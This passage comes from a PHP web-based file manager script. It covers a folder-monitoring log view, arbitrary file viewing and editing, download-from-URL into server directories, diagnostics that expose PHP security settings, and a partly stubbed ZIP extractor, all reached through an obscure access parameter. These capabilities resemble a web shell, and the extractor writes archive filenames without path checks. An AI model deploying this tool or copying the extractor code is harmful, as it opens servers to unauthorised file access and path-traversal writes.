.modified { background-color: #fff3cd; color: #856404; border-left: 3px solid #ffc107; }
.deleted { background-color: #f8d7da; color: #721c24; border-left: 3px solid #dc3545; }
.actions { margin: 15px 0; }
.actions a { display: inline-block; padding: 8px 15px; background: #f0f0f0;
border: 1px solid #ddd; text-decoration: none; color: #333; margin-right: 10px; border-radius: 4px; }
.actions a:hover { background: #e0e0e0; }
.status-active { color: #28a745; font-weight: bold; }
.status-inactive { color: #6c757d; }
.file-details { font-size: 11px; color: #666; margin-top: 5px; }
.scan-summary { background: #d1ecf1; padding: 8px; margin: 10px 0; border-radius: 3px; font-size: 12px; }
.ip-info { color: #007bff; font-weight: bold; }
.manual-check { background: #fff3cd; border-left-color: #ffc107; }
.auto-check { background: #f8f9fa; border-left-color: #6c757d; }
</style></head><body>';
echo '<h2>π Folder Monitoring Log</h2>';
echo '<div class="actions">';
echo '<a href="' . htmlspecialchars(build_url($current_path)) . '">Back to File Manager</a>';
echo '</div>';
echo '<div style="background: #e9ecef; padding: 10px; border-radius: 5px; margin-bottom: 20px;">';
echo '<strong>Status:</strong> ';
if ($monitor_status['active']) {
echo '<span class="status-active">β
Active</span><br>';
echo '<strong>Monitored Path:</strong> ' . htmlspecialchars($monitor_status['path']) . '<br>';
echo '<strong>Started:</strong> ' . date('Y-m-d H:i:s', $monitor_status['started']);
} else {
echo '<span class="status-inactive">βΈοΈ Inactive</span>';
}
echo '</div>';
if (empty($monitor_log)) {
echo '<div style="text-align: center; color: #6c757d; padding: 40px;">No monitoring activity recorded yet.</div>';
} else {
echo '<h3>Recent Activity (Last 50 entries)</h3>';
foreach ($monitor_log as $entry) {
$check_type = isset($entry['session_info']['check_type']) ? $entry['session_info']['check_type'] : 'unknown';
$entry_class = $check_type === 'manual' ? 'manual-check' : 'auto-check';
echo '<div class="log-entry ' . $entry_class . '">';
echo '<strong>π
' . date('Y-m-d H:i:s', $entry['timestamp']) . '</strong>';
echo '<span style="float: right; font-size: 12px; color: #666;">' . ucfirst($check_type) . ' Check</span>';
// Display session information if available
if (isset($entry['session_info'])) {
echo '<div class="session-info">';
echo '<strong>Session Details:</strong><br>';
echo 'π <span class="ip-info">IP:</span> ' . htmlspecialchars($entry['session_info']['ip_address']) . ' | ';
echo 'π <strong>Session:</strong> ' . htmlspecialchars(substr($entry['session_info']['session_id'], 0, 8)) . '...<br>';
echo 'π₯οΈ <strong>User Agent:</strong> ' . htmlspecialchars(substr($entry['session_info']['user_agent'], 0, 80)) .
(strlen($entry['session_info']['user_agent']) > 80 ? '...' : '') . '<br>';
echo 'π <strong>Request:</strong> ' . htmlspecialchars($entry['session_info']['request_method']) . ' ' .
htmlspecialchars($entry['session_info']['request_uri']);
echo '</div>';
}
// Display scan summary if available
if (isset($entry['scan_summary'])) {
echo '<div class="scan-summary">';
echo '<strong>π Scan Summary:</strong> ';
echo $entry['scan_summary']['total_files_scanned'] . ' files scanned, ';
echo $entry['scan_summary']['changes_detected'] . ' changes detected in ';
echo htmlspecialchars($entry['scan_summary']['monitored_path']);
echo '</div>';
}
echo '<div style="margin-top: 15px;">';
foreach ($entry['changes'] as $change) {
$class = $change['type'];
$icon = $change['type'] === 'added' ? 'β' : ($change['type'] === 'modified' ? 'βοΈ' : 'β');
echo '<div class="change-item ' . $class . '">';
echo $icon . ' <strong>' . strtoupper($change['type']) . ':</strong> ' . htmlspecialchars($change['file']);
// Enhanced file details
if ($change['type'] === 'modified') {
echo '<div class="file-details">';
echo 'π Size: ' . format_size($change['old_size']) . ' β ' . format_size($change['new_size']) . ' | ';
echo 'π Modified: ' . date('Y-m-d H:i:s', $change['old_mtime']) . ' β ' . date('Y-m-d H:i:s', $change['new_mtime']) . '<br>';
echo 'π Hash: ' . $change['old_hash'] . ' β ' . $change['new_hash'];
echo '</div>';
} elseif ($change['type'] === 'added') {
echo '<div class="file-details">';
echo 'π Size: ' . format_size($change['size']) . ' | ';
echo 'π Created: ' . date('Y-m-d H:i:s', $change['mtime']) . '<br>';
echo 'π Hash: ' . $change['hash'];
echo '</div>';
} elseif ($change['type'] === 'deleted') {
echo '<div class="file-details">';
echo 'π Was: ' . format_size($change['old_size']) . ' | ';
echo 'π Last Modified: ' . date('Y-m-d H:i:s', $change['old_mtime']) . '<br>';
echo 'π Last Hash: ' . $change['old_hash'];
echo '</div>';
}
echo '</div>';
}
echo '</div>';
echo '</div>';
}
}
echo '<div class="actions" style="margin-top: 30px;">';
echo '<a href="' . htmlspecialchars(build_url($current_path)) . '">Back to File Manager</a>';
echo '<form method="post" action="' . htmlspecialchars(build_url($current_path)) . '" style="display: inline-block; margin-left: 10px;">';
echo '<button type="submit" name="clear_monitor_log" style="background-color: #dc3545; color: white; padding: 8px 15px; border: none; border-radius: 4px; cursor: pointer;" onclick="return confirm(\'Are you sure you want to clear all monitoring logs?\');">Clear All Logs</button>';
echo '</form>';
echo '</div>';
echo '</body></html>';
exit;
}
// Handle viewing and editing files
if (isset($_GET['view_file'])) {
$file_to_view = basename($_GET['view_file']); // Sanitize filename
$file_path = $full_path . DIRECTORY_SEPARATOR . $file_to_view;
if (is_file($file_path) && is_readable($file_path)) {
$file_size = filesize($file_path);
$max_viewable_size = MAX_VIEWABLE_FILE_SIZE; // Use constant instead of hardcoded value
$is_writable = is_writable($file_path);
// Output HTML
echo '<!DOCTYPE html><html><head><title>View: ' . htmlspecialchars($file_to_view) . '</title>';
echo '<style>
body { font-family: Arial, sans-serif; margin: 20px; }
pre { background: #f5f5f5; padding: 10px; border: 1px solid #ddd; overflow: auto; }
.actions { margin: 15px 0; }
.actions a { display: inline-block; padding: 5px 10px; background: #f0f0f0;
border: 1px solid #ddd; text-decoration: none; color: #333; margin-right: 10px; }
.actions a:hover { background: #e0e0e0; }
.warning { background-color: #fff3cd; border: 1px solid #ffeaa7; color: #856404;
padding: 10px; margin: 10px 0; border-radius: 4px; }
.info { background-color: #d1ecf1; border: 1px solid #bee5eb; color: #0c5460;
padding: 10px; margin: 10px 0; border-radius: 4px; }
</style></head><body>';
echo '<h2>Viewing: ' . htmlspecialchars($file_to_view) . '</h2>';
echo '<div class="info">File Size: ' . format_size($file_size) . '</div>';
echo '<div class="actions">';
echo '<a href="' . htmlspecialchars(build_url($current_path)) . '">Back to List</a>';
// Edit link - only show if file is writable and not too large
if ($is_writable && $file_size <= $max_viewable_size) {
echo ' <a href="' . htmlspecialchars(build_url($current_path) . '&edit_file=' . urlencode($file_to_view)) . '">Edit File</a>';
} else if ($is_writable) {
echo ' <span style="color:#999;">(File too large to edit safely)</span>';
} else {
echo ' <span style="color:#999;">(File not writable)</span>';
}
echo '</div>';
if ($file_size > $max_viewable_size) {
echo '<div class="warning">';
echo '<strong>Warning:</strong> This file is large (' . format_size($file_size) . '). ';
echo 'Viewing the entire file may cause memory issues. Showing first ' . format_size($max_viewable_size) . ' only.';
echo '</div>';
// Read only the first part of the file
$handle = fopen($file_path, 'r');
if ($handle) {
$content = fread($handle, $max_viewable_size);
fclose($handle);
echo '<pre>' . htmlspecialchars($content);
if ($file_size > $max_viewable_size) {
echo "\n\n... [File truncated - showing first " . format_size($max_viewable_size) . " of " . format_size($file_size) . "]";
}
echo '</pre>';
} else {
echo '<div class="error">Error: Could not open file for reading.</div>';
}
} else {
// File is small enough to load completely
$content = file_get_contents($file_path);
echo '<pre>' . htmlspecialchars($content) . '</pre>';
}
echo '</body></html>';
exit;
} else {
$_SESSION['file_action_error'] = "Cannot view file: File not found or not readable.";
header('Location: ' . build_url($current_path));
exit;
}
}
// Handle file editing
if (isset($_GET['edit_file'])) {
$file_to_edit = basename($_GET['edit_file']); // Sanitize filename
$file_path = $full_path . DIRECTORY_SEPARATOR . $file_to_edit;
if (is_file($file_path) && is_readable($file_path)) {
$file_size = filesize($file_path);
$max_editable_size = MAX_EDITABLE_FILE_SIZE; // Use constant instead of hardcoded value
$is_writable = is_writable($file_path);
// Check if file is too large to edit safely
if ($file_size > $max_editable_size) {
echo '<!DOCTYPE html><html><head><title>File Too Large</title>';
echo '<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.error { background-color: #f8d7da; border: 1px solid #f5c6cb; color: #721c24;
padding: 15px; margin: 10px 0; border-radius: 4px; }
.actions { margin: 15px 0; }
.actions a { display: inline-block; padding: 5px 10px; background: #f0f0f0;
border: 1px solid #ddd; text-decoration: none; color: #333; margin-right: 10px; }
.actions a:hover { background: #e0e0e0; }
</style></head><body>';
echo '<h2>Cannot Edit: ' . htmlspecialchars($file_to_edit) . '</h2>';
echo '<div class="error">';
echo '<strong>File Too Large:</strong> This file (' . format_size($file_size) . ') exceeds the maximum editable size (' . format_size($max_editable_size) . '). ';
echo 'Editing large files can cause memory issues and browser crashes.';
echo '</div>';
echo '<div class="actions">';
echo '<a href="' . htmlspecialchars(build_url($current_path)) . '">Back to List</a>';
echo ' <a href="' . htmlspecialchars(build_url($current_path) . '&view_file=' . urlencode($file_to_edit)) . '">View File (Read-Only)</a>';
echo '</div>';
echo '</body></html>';
exit;
}
$content = file_get_contents($file_path);
// Output HTML
echo '<!DOCTYPE html><html><head><title>Edit: ' . htmlspecialchars($file_to_edit) . '</title>';
echo '<style>
body { font-family: Arial, sans-serif; margin: 20px; }
textarea { width: 100%; height: 400px; padding: 10px; box-sizing: border-box; font-family: monospace; }
.actions { margin: 15px 0; }
.actions a, .actions button { display: inline-block; padding: 5px 10px; background: #f0f0f0;
border: 1px solid #ddd; text-decoration: none; color: #333; margin-right: 10px; }
.actions a:hover, .actions button:hover { background: #e0e0e0; }
.info { background-color: #d1ecf1; border: 1px solid #bee5eb; color: #0c5460;
padding: 10px; margin: 10px 0; border-radius: 4px; }
</style></head><body>';
echo '<h2>Editing: ' . htmlspecialchars($file_to_edit) . '</h2>';
echo '<div class="info">File Size: ' . format_size($file_size) . '</div>';
if (!$is_writable) {
echo '<div style="color: red; padding: 10px; background: #fee; border: 1px solid #fcc; margin-bottom: 15px;">
Warning: This file appears to be read-only. You may not be able to save changes.</div>';
}
echo '<div class="actions">';
echo '<a href="' . htmlspecialchars(build_url($current_path)) . '">Back to List</a>';
echo ' <a href="' . htmlspecialchars(build_url($current_path) . '&view_file=' . urlencode($file_to_edit)) . '">View Mode</a>';
echo '</div>';
echo '<form method="post" action="' . htmlspecialchars(build_url($current_path)) . '">';
echo '<input type="hidden" name="save_file" value="' . htmlspecialchars($file_to_edit) . '">';
echo '<textarea name="file_content">' . htmlspecialchars($content) . '</textarea>';
echo '<div class="actions" style="margin-top:10px;"><button type="submit">Save Changes</button></div>';
echo '</form>';
echo '</body></html>';
exit;
} else {
$_SESSION['file_action_error'] = "Cannot edit file: File not found or not readable.";
header('Location: ' . build_url($current_path));
exit;
}
}
// Handle file saving
if (isset($_POST['save_file']) && isset($_POST['file_content'])) {
// Check protection mode
if (is_monitoring_protection_active($monitor_status_file, $full_path)) {
$_SESSION['file_action_error'] = "File save blocked: Protection mode is active for this monitored folder. Disable monitoring or turn off protection mode to save files.";
// Redirect back to edit mode without saving
$file_to_save = basename($_POST['save_file']);
header('Location: ' . build_url($current_path) . '&edit_file=' . urlencode($file_to_save));
exit;
}
$file_to_save = basename($_POST['save_file']); // Sanitize filename
$file_path = $full_path . DIRECTORY_SEPARATOR . $file_to_save;
$new_content = $_POST['file_content'];
if (is_file($file_path)) {
if (is_writable($file_path)) {
if (file_put_contents($file_path, $new_content) !== false) {
$_SESSION['file_action_success'] = "File saved successfully.";
} else {
$_SESSION['file_action_error'] = "Error saving file. Check permissions.";
}
} else {
$_SESSION['file_action_error'] = "Cannot save: File is not writable.";
}
} else {
$_SESSION['file_action_error'] = "Cannot save: File not found.";
}
// Redirect back to edit mode
header('Location: ' . build_url($current_path) . '&edit_file=' . urlencode($file_to_save));
exit;
}
// Handle download from URL
if (isset($_POST['download_from_url']) && $allow_upload) { // Reuse allow_upload for this feature
// Check protection mode
if (is_monitoring_protection_active($monitor_status_file, $full_path)) {
$download_error = "Download blocked: Protection mode is active for this monitored folder. Disable monitoring or turn off protection mode to download files.";
} else {
$url_to_download = isset($_POST['url_to_download']) ? trim($_POST['url_to_download']) : '';
$download_filename = isset($_POST['download_filename']) ? trim($_POST['download_filename']) : '';
if (filter_var($url_to_download, FILTER_VALIDATE_URL)) {
if (empty($download_filename)) {
$download_filename = basename(parse_url($url_to_download, PHP_URL_PATH));
}
// Sanitize filename: remove path components and invalid characters
$download_filename = basename($download_filename);
$download_filename = preg_replace("/[^a-zA-Z0-9._-]/", "", $download_filename);
if (empty($download_filename)) {
$download_error = "Could not determine a valid filename from the URL. Please specify one.";
} else {
$target_path = $full_path . DIRECTORY_SEPARATOR . $download_filename;
// Check if allow_url_fopen is enabled
if (ini_get('allow_url_fopen')) {
$file_content = @file_get_contents($url_to_download);
if ($file_content !== false) {
if (@file_put_contents($target_path, $file_content) !== false) {
$download_message = "File downloaded successfully from URL as " . htmlspecialchars($download_filename);
} else {
$download_error = "Error saving downloaded file. Check permissions for: " . htmlspecialchars($full_path);
}
} else {
$download_error = "Error downloading file from URL. The URL might be invalid or inaccessible.";
}
} else {
$download_error = "Cannot download from URL: 'allow_url_fopen' is disabled in php.ini. Please enable it or use a different method (e.g., cURL).";
}
}
} else {
$download_error = "Invalid URL provided.";
}
} // Close else block for protection check
}
// Format file size
function format_size($bytes) {
if ($bytes <= 0) return '0 B';
$units = array('B', 'KB', 'MB', 'GB', 'TB');
// More compatible approach for PHP 5.3
$i = 0;
while ($bytes >= 1024 && $i < count($units) - 1) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
// Check if file is safe to view based on size
function is_file_safe_to_view($file_path) {
if (!is_file($file_path)) return false;
$file_size = filesize($file_path);
return $file_size !== false && $file_size <= MAX_VIEWABLE_FILE_SIZE;
}
// Check if file is safe to edit based on size
function is_file_safe_to_edit($file_path) {
if (!is_file($file_path)) return false;
$file_size = filesize($file_path);
return $file_size !== false && $file_size <= MAX_EDITABLE_FILE_SIZE;
}
// Get memory usage information
function get_memory_info() {
$memory_limit = ini_get('memory_limit');
$memory_usage = memory_get_usage(true);
$memory_peak = memory_get_peak_usage(true);
return array(
'limit' => $memory_limit,
'limit_bytes' => asBytes($memory_limit),
'current' => $memory_usage,
'peak' => $memory_peak,
'available' => asBytes($memory_limit) - $memory_usage
);
}
// File type icons
$file_icons = array(
// Documents
'doc' => 'π', 'docx' => 'π', 'pdf' => 'π', 'txt' => 'π', 'rtf' => 'π',
// Images
'jpg' => 'πΌοΈ', 'jpeg' => 'πΌοΈ', 'png' => 'πΌοΈ', 'gif' => 'πΌοΈ', 'bmp' => 'πΌοΈ', 'svg' => 'πΌοΈ',
// Archives
'zip' => 'π¦', 'rar' => 'π¦', 'tar' => 'π¦', 'gz' => 'π¦', '7z' => 'π¦',
// Code
'php' => 'π»', 'html' => 'π»', 'css' => 'π»', 'js' => 'π»', 'py' => 'π»', 'java' => 'π»',
// Executables
'exe' => 'βοΈ', 'sh' => 'βοΈ', 'bat' => 'βοΈ', 'cmd' => 'βοΈ',
// Media
'mp3' => 'π', 'wav' => 'π', 'ogg' => 'π',
'mp4' => 'π¬', 'avi' => 'π¬', 'mov' => 'π¬', 'mkv' => 'π¬'
);
// Function to get file icon
function get_file_icon($filename) {
global $file_icons;
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
return isset($file_icons[$ext]) ? $file_icons[$ext] : 'π';
}
// Function to format file permissions
function format_permissions($perms) {
if (($perms & 0xC000) == 0xC000) $info = 's'; // Socket
elseif (($perms & 0xA000) == 0xA000) $info = 'l'; // Symbolic Link
elseif (($perms & 0x8000) == 0x8000) $info = '-'; // Regular
elseif (($perms & 0x6000) == 0x6000) $info = 'b'; // Block special
elseif (($perms & 0x4000) == 0x4000) $info = 'd'; // Directory
elseif (($perms & 0x2000) == 0x2000) $info = 'c'; // Character special
elseif (($perms & 0x1000) == 0x1000) $info = 'p'; // FIFO pipe
else $info = 'u'; // Unknown
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
// IP Debug mode
if (isset($_GET['ip_debug'])) {
echo '<!DOCTYPE html><html><head><title>IP Debug Information</title>';
echo '<style>body{font-family:Arial,sans-serif;margin:20px;} table{border-collapse:collapse;width:100%;} th,td{border:1px solid #ddd;padding:8px;text-align:left;} th{background-color:#f2f2f2;}</style>';
echo '</head><body>';
echo '<h1>IP Address Detection Debug</h1>';
echo '<h2>Current Detection: <span style="color:blue;">' . htmlspecialchars(get_client_ip()) . '</span></h2>';
echo '<h3>All Available IP Headers:</h3>';
echo '<table><tr><th>Header Name</th><th>Value</th><th>Valid IP?</th></tr>';
$ip_debug = get_ip_debug_info();
unset($ip_debug['Detected_IP']); // Remove the detected IP from list to avoid duplication
$ip_headers = array(
'REMOTE_ADDR', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP',
'HTTP_CLIENT_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED',
'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED'
);
foreach ($ip_headers as $header) {
$value = isset($_SERVER[$header]) ? $_SERVER[$header] : 'Not Set';
$is_valid = 'N/A';
if ($value !== 'Not Set') {
// Check if it's a comma-separated list
if (strpos($value, ',') !== false) {
$ips = explode(',', $value);
$valid_ips = array();
foreach ($ips as $ip) {
$ip = trim($ip);
if (is_valid_ip($ip)) {
$valid_ips[] = $ip;
}
}
$is_valid = !empty($valid_ips) ? 'Yes (' . implode(', ', $valid_ips) . ')' : 'No';
} else {
$is_valid = is_valid_ip(trim($value)) ? 'Yes' : 'No';
}
}
echo '<tr><td>' . htmlspecialchars($header) . '</td><td>' . htmlspecialchars($value) . '</td><td>' . htmlspecialchars($is_valid) . '</td></tr>';
}
echo '</table>';
echo '<h3>Additional Server Information:</h3>';
echo '<table><tr><th>Variable</th><th>Value</th></tr>';
$server_vars = array('SERVER_NAME', 'SERVER_ADDR', 'HTTP_HOST', 'REQUEST_URI', 'HTTP_USER_AGENT');
foreach ($server_vars as $var) {
$value = isset($_SERVER[$var]) ? $_SERVER[$var] : 'Not Set';
echo '<tr><td>' . htmlspecialchars($var) . '</td><td>' . htmlspecialchars($value) . '</td></tr>';
}
echo '</table>';
echo '<p><a href="?8a7fi=man">Back to File Manager</a></p>';
echo '</body></html>';
exit;
}
// Diagnostics mode
if (isset($_GET['diagnostics'])) {
header('Content-Type: text/plain');
echo "PHP DIAGNOSTICS REPORT\n";
echo "=====================\n\n";
echo "PHP Version: " . PHP_VERSION . "\n";
echo "Server Software: " . (isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A') . "\n";
echo "Operating System: " . PHP_OS . "\n";
echo "\nMemory Information:\n";
$memory_info = get_memory_info();
echo "Memory Limit: " . $memory_info['limit'] . " (" . format_size($memory_info['limit_bytes']) . ")\n";
echo "Current Usage: " . format_size($memory_info['current']) . "\n";
echo "Peak Usage: " . format_size($memory_info['peak']) . "\n";
echo "Available: " . format_size($memory_info['available']) . "\n";
echo "\nFile Size Limits:\n";
echo "Max Viewable File Size: " . format_size(MAX_VIEWABLE_FILE_SIZE) . "\n";
echo "Max Editable File Size: " . format_size(MAX_EDITABLE_FILE_SIZE) . "\n";
echo "\nPHP Settings:\n";
$important_settings = array(
'display_errors', 'log_errors', 'error_reporting',
'allow_url_fopen', 'memory_limit', 'max_execution_time',
'open_basedir', 'disable_functions', 'post_max_size', 'upload_max_filesize'
);
foreach($important_settings as $setting) {
echo $setting . ": " . ini_get($setting) . "\n";
}
echo "\nExtension Availability:\n";
$extensions = get_loaded_extensions();
sort($extensions);
foreach($extensions as $ext) {
echo "- $ext\n";
}
echo "\nIP Address Detection Debug:\n";
$ip_debug = get_ip_debug_info();
foreach ($ip_debug as $header => $value) {
echo "$header: $value\n";
}
echo "\nFile Access Tests:\n";
$script_test_file = dirname(__FILE__) . DIRECTORY_SEPARATOR . "test_write.txt";
$script_write_test = @file_put_contents($script_test_file, "This is a test file write at " . date('Y-m-d H:i:s'));
echo "Write test to script directory: " . ($script_write_test !== false ? "Success ($script_write_test bytes)" : "Failed") . "\n";
if ($script_write_test !== false) @unlink($script_test_file);
exit;
}
// Check for unzip messages in session
$unzip_messages = array();
if (isset($_SESSION['unzip_messages'])) {
$unzip_messages = $_SESSION['unzip_messages'];
unset($_SESSION['unzip_messages']); // Clear messages after displaying them
}
// Get directory contents
$items = array();
$dir_error = null;
if (is_dir($full_path) && is_readable($full_path)) {
try {
$files = scandir($full_path);
foreach ($files as $file) {
if ($file != '.' && $file != '..') {
$path = $full_path . DIRECTORY_SEPARATOR . $file;
$is_dir = is_dir($path);
$size = $is_dir ? 0 : filesize($path);
$modified = date('Y-m-d H:i:s', filemtime($path));
$permissions = is_readable($path) ? format_permissions(fileperms($path)) : 'N/A';
// Check if file should be hidden
$show = true;
foreach ($hidden_patterns as $pattern) {
if (fnmatch($pattern, $file)) {
$show = false;
break;
}
}
if ($show) {
// Simplified path handling - just use the file name for navigation
// The actual path will be calculated based on the current directory
$nav_path_for_item = '';
if ($current_path === '/') {
$nav_path_for_item = '/' . $file;
} else if (!empty($current_path)) {
$nav_path_for_item = rtrim($current_path, '/') . '/' . $file;
} else { // current_path is empty
$nav_path_for_item = $file;
}
$items[] = array(
'name' => $file,
'is_dir' => $is_dir,
'size' => $size,
'modified' => $modified,
'path' => $nav_path_for_item,
'permissions' => $permissions
);
}
}
}
} catch (Exception $e) {
$dir_error = "Error reading directory: " . $e->getMessage();
}
} else {
$dir_error = "Cannot read directory. Either it doesn't exist or you don't have permission.";
}
// Sort items (folders first, then files)
function sort_items($a, $b) {
if ($a['is_dir'] && !$b['is_dir']) return -1;
if (!$a['is_dir'] && $b['is_dir']) return 1;
return strcasecmp($a['name'], $b['name']);
}
usort($items, 'sort_items');
// Helper function to preserve the 8a7fi parameter in URLs
function build_url($path = '') {
$url = '?8a7fi=man';
if (!empty($path)) {
$url .= '&path=' . urlencode($path);
}
return $url;
}
// Helper function to get safe parent path for navigation
function get_safe_parent_path($current_path, $full_path, $script_dir, $is_absolute_path) {
if ($is_absolute_path) {
if ($full_path === '/' || $full_path === DIRECTORY_SEPARATOR) {
return ''; // Already at root
}
$parent_dir = dirname($full_path);
if ($parent_dir === $full_path) {
return ''; // At root-like directory
}
return $parent_dir;
} else {
if ($current_path === '') {
// At script directory, try to go to its parent
$parent_dir = dirname($script_dir);
if (is_path_allowed($parent_dir) && $parent_dir !== $script_dir) {
return $parent_dir; // Return absolute path to parent
}
return ''; // Can't go up
} else {
// In subdirectory, go up one level
$parts = explode('/', trim($current_path, '/'));
if (count($parts) > 1) {
array_pop($parts);
return implode('/', $parts);
} else {
return ''; // Go back to script directory
}
}
}
}
// Generate breadcrumbs
$breadcrumbs = array();
$breadcrumbs[] = array('name' => 'Start Directory', 'path' => '');
if ($current_path) {
// For absolute paths, show a root option
if ($is_absolute_path) {
$breadcrumbs[] = array('name' => 'Root /', 'path' => '/');
}
// Split path into breadcrumb parts
$parts = explode('/', str_replace('\\', '/', $current_path));
$breadcrumb_path = '';
foreach ($parts as $part) {
if ($part) {
$breadcrumb_path .= ($breadcrumb_path ? '/' : '') . $part;
$breadcrumbs[] = array(
'name' => $part,
'path' => $breadcrumb_path
);
}
}
}
// Calculate parent directory for navigation
$parent_path = get_safe_parent_path($current_path, $full_path, $script_dir, $is_absolute_path);
// Check if parent path is actually accessible before showing the link
$show_parent_link = false;
if ($parent_path !== '') {
if ($is_absolute_path) {
// For absolute paths, check if parent is allowed
$show_parent_link = is_path_allowed($parent_path) && file_exists($parent_path) && is_dir($parent_path);
} else {
// For relative paths, check if we can go up
if ($current_path !== '') {
// In subdirectory, can go up to parent or script dir
$show_parent_link = true;
} else {
// At script directory, check if parent is allowed
$potential_parent = dirname($script_dir);
$show_parent_link = is_path_allowed($potential_parent) && file_exists($potential_parent) && is_dir($potential_parent);
}
}
}
// START OF NEW ZLIB UNZIPPER CLASS
class SimpleZlibUnzipper {
private $zip_file_path;
private $messages = array();
private $overwrite = true; // Or false, depending on desired behavior
public function __construct($zip_file_path) {
$this->zip_file_path = $zip_file_path;
}
public function getMessages() {
return $this->messages;
}
public function extractTo($destination_path) {
if (!function_exists('gzinflate')) {
$this->messages[] = "Error: gzinflate function (zlib extension) is not available.";
return false;
}
if (!file_exists($this->zip_file_path) || !is_readable($this->zip_file_path)) {
$this->messages[] = "Error: ZIP file '{$this->zip_file_path}' not found or not readable.";
return false;
}
$fh = fopen($this->zip_file_path, 'rb');
if (!$fh) {
$this->messages[] = "Error: Could not open ZIP file '{$this->zip_file_path}'.";
return false;
}
if (!$this->findCentralDirectory($fh)) {
$this->messages[] = "Error: Could not find Central Directory Record in ZIP file.";
fclose($fh);
return false;
}
// Placeholder for actual extraction logic
// For now, we'll just simulate success for structure
$this->messages[] = "SimpleZlibUnzipper initialized for {$this->zip_file_path}. Extraction to {$destination_path} (simulated).";
// In a real implementation, we would loop through central directory entries:
// For each entry:
// - Read local file header
// - Extract and decompress data using gzinflate
// - Write to destination_path, creating directories
// This part is highly complex and requires careful parsing of the ZIP format.
// The user note from 'wdtemp at seznam dot com' and the gist by 'iansltx'
// provide starting points for reading local file headers and decompressing
// single files, but a full multi-file implementation is more involved.
// For now, let's assume basic parsing and extraction would go here.
// We will need to implement proper ZIP parsing logic.
// Dummy implementation for now:
$file_count = 0; // In reality, count of successfully extracted files.
// Example of how one might read a file entry (highly simplified)
// This is NOT a complete ZIP parser.
// rewind($fh); // Go to start or to central directory entries
// while ($entry_details = $this->readNextFileEntry($fh)) {
// if ($entry_details['compressed_size'] > 0 && $entry_details['compression_method'] == 8) { // 8 is Deflate
// $file_data_compressed = fread($fh, $entry_details['compressed_size']);
// $file_data_uncompressed = @gzinflate($file_data_compressed);
// if ($file_data_uncompressed !== false) {
// $target_file_path = $destination_path . DIRECTORY_SEPARATOR . $entry_details['filename'];
// // Ensure directory exists
// $this->ensureDirectoryExists(dirname($target_file_path));
// if (file_put_contents($target_file_path, $file_data_uncompressed) !== false) {
// $this->messages[] = "Extracted (zlib): {$entry_details['filename']}";
// $file_count++;
// } else {
// $this->messages[] = "Error writing (zlib): {$entry_details['filename']}";
// }
// } else {
// $this->messages[] = "Error decompressing (zlib): {$entry_details['filename']}";
// }
// } else if ($entry_details['compressed_size'] == 0) { // Typically a directory or empty file
// $target_item_path = $destination_path . DIRECTORY_SEPARATOR . $entry_details['filename'];
// if (substr($entry_details['filename'], -1) == '/') { // Directory
// $this->ensureDirectoryExists($target_item_path);
// $this->messages[] = "Created directory (zlib): {$entry_details['filename']}";
// } else { // Empty file
// // file_put_contents($target_item_path, '');
// // $this->messages[] = "Created empty file (zlib): {$entry_details['filename']}";
// // For simplicity, we'll skip empty files for now in this placeholder
// }
// }
// }
// The above loop is a conceptual placeholder.
// A real implementation needs to correctly locate and parse
// the Central Directory, then use offsets to find Local File Headers.
// For now, we use a simplified proof-of-concept structure.
// For this step, we'll focus on integrating the class structure
// and the control flow (ZipArchive -> SimpleZlibUnzipper -> error).
// A very basic single file extraction (like the PHP manual note)
// This is also not a full solution but demonstrates gzinflate usage
rewind($fh); // Start from the beginning to find the first local file header
$header = fread($fh, 30); // Read local file header signature + basic fields
if (strlen($header) == 30 && substr($header, 0, 4) == "\x50\x4b\x03\x04") { // PK\03\04
$unpack_data = unpack("vgeneral_purpose_flags/vcompression_method/vlast_mod_time/vlast_mod_date/Vcrc32/Vcompressed_size/Vuncompressed_size/vfilename_length/vextra_field_length", substr($header, 4));
$filename = fread($fh, $unpack_data['filename_length']);
// Skip extra field
if ($unpack_data['extra_field_length'] > 0) {
fread($fh, $unpack_data['extra_field_length']);
}
if ($unpack_data['compression_method'] == 8 && $unpack_data['compressed_size'] > 0) { // DEFLATE
$compressed_data = fread($fh, $unpack_data['compressed_size']);
$uncompressed_data = @gzinflate($compressed_data);
if ($uncompressed_data !== false) {
$target_file_path = rtrim($destination_path, '/\\\\') . DIRECTORY_SEPARATOR . $filename;
if ($this->ensureDirectoryExists(dirname($target_file_path))) {
if (file_put_contents($target_file_path, $uncompressed_data) !== false) {
$this->messages[] = "Successfully extracted (zlib - first file only): " . $filename;
$file_count++;
} else {
$this->messages[] = "Failed to write (zlib): " . $filename;
}
} else {
$this->messages[] = "Failed to create directory for (zlib): " . $filename;
}
} else {
$last_error = error_get_last();
$error_msg = $last_error ? $last_error['message'] : 'Unknown error';
$this->messages[] = "Failed to decompress (zlib): " . $filename . " - Error: " . $error_msg;
}
} elseif ($unpack_data['compression_method'] == 0 && $unpack_data['uncompressed_size'] > 0) { // Stored (no compression)
$uncompressed_data = fread($fh, $unpack_data['uncompressed_size']);
$target_file_path = rtrim($destination_path, '/\\\\') . DIRECTORY_SEPARATOR . $filename;
if ($this->ensureDirectoryExists(dirname($target_file_path))) {
if (file_put_contents($target_file_path, $uncompressed_data) !== false) {
$this->messages[] = "Successfully extracted (zlib - stored, first file only): " . $filename;
$file_count++;
} else {
$this->messages[] = "Failed to write (zlib - stored): " . $filename;
}
} else {
